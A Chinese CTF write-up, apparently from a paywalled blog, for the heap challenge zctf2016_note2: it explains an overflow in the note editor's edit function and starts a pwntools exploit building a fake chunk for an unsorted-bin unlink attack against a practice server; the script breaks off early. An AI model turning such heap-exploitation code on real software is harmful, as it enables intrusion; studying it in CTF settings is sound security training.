106 zctf2016_note2
保护
菜单堆。
new
最多申请4个。
然后里面有个神奇的函数
会把里面的%剔除掉。
申请的chunk最大也只能是fastbin范围的chunk。
ptr地方是指针的数组
0x602140是size的数组
0x602160是大小
show
平平无奇输出函数。
edit
edit推陈出新,有了两种模式,overwrite跟append。
free
free清理的很干净。
我们最后发现这个漏洞是在edit函数里。我们只需要让v6-strlen(&dest) == 0,即可绕过’\0’的截断,实现溢出。因此我们只需add(0,’’),即可利用这个chunk来溢出,由于PIE也没开启并且堆指针保存在bss段,因此做unsorted bin unlink比较简单
需要注意的是由于使用了strcpy函数,因此,我们布置64位数据时,必须从最后一个开始,前面用正常不截断的字符填充,逐步向前来布置多个64位数据。
exp
#coding:utf8
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',27408)
libc = ELF('./64/libc-2.23.so')
elf = ELF('./106')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
r.sendlineafter('Input your name:','haivk')
r.sendlineafter('Input your address:','huse')
def add(size,content):
r.sendlineafter('option--->>','1')
r.sendlineafter('(less than 128)',str(size))
r.sendlineafter('Input the note content:',content)
def show(index):
r.sendlineafter('option--->>','2')
r.sendlineafter('Input the id of the note:',str(index))
def edit(index,content,mode=1):
r.sendlineafter('option--->>','3')
r.sendlineafter('Input the id of the note:',str(index))
r.sendlineafter('[1.overwrite/2.append]',str(mode))
r.sendlineafter('TheNewContents:',content)
def delete(index):
r.sendlineafter('option--->>','4')
r.sendlineafter('Input the id of the note:',str(index))
heap_ptr_1 = 0x0000000000602120
#prev_size size
fake_chunk = p64(0) + p64(0x81 + 0x20)
#fd、bk
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10)
fake_chunk += 'a'*0x10
add(0x80,fake_chunk) #0

本文解析了多个CTF挑战,包括106zctf2016_note2、107suctf_2018_basicpwn等,详细介绍了如何利用格式化字符串漏洞、堆溢出和UAF等技术手段进行攻击。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



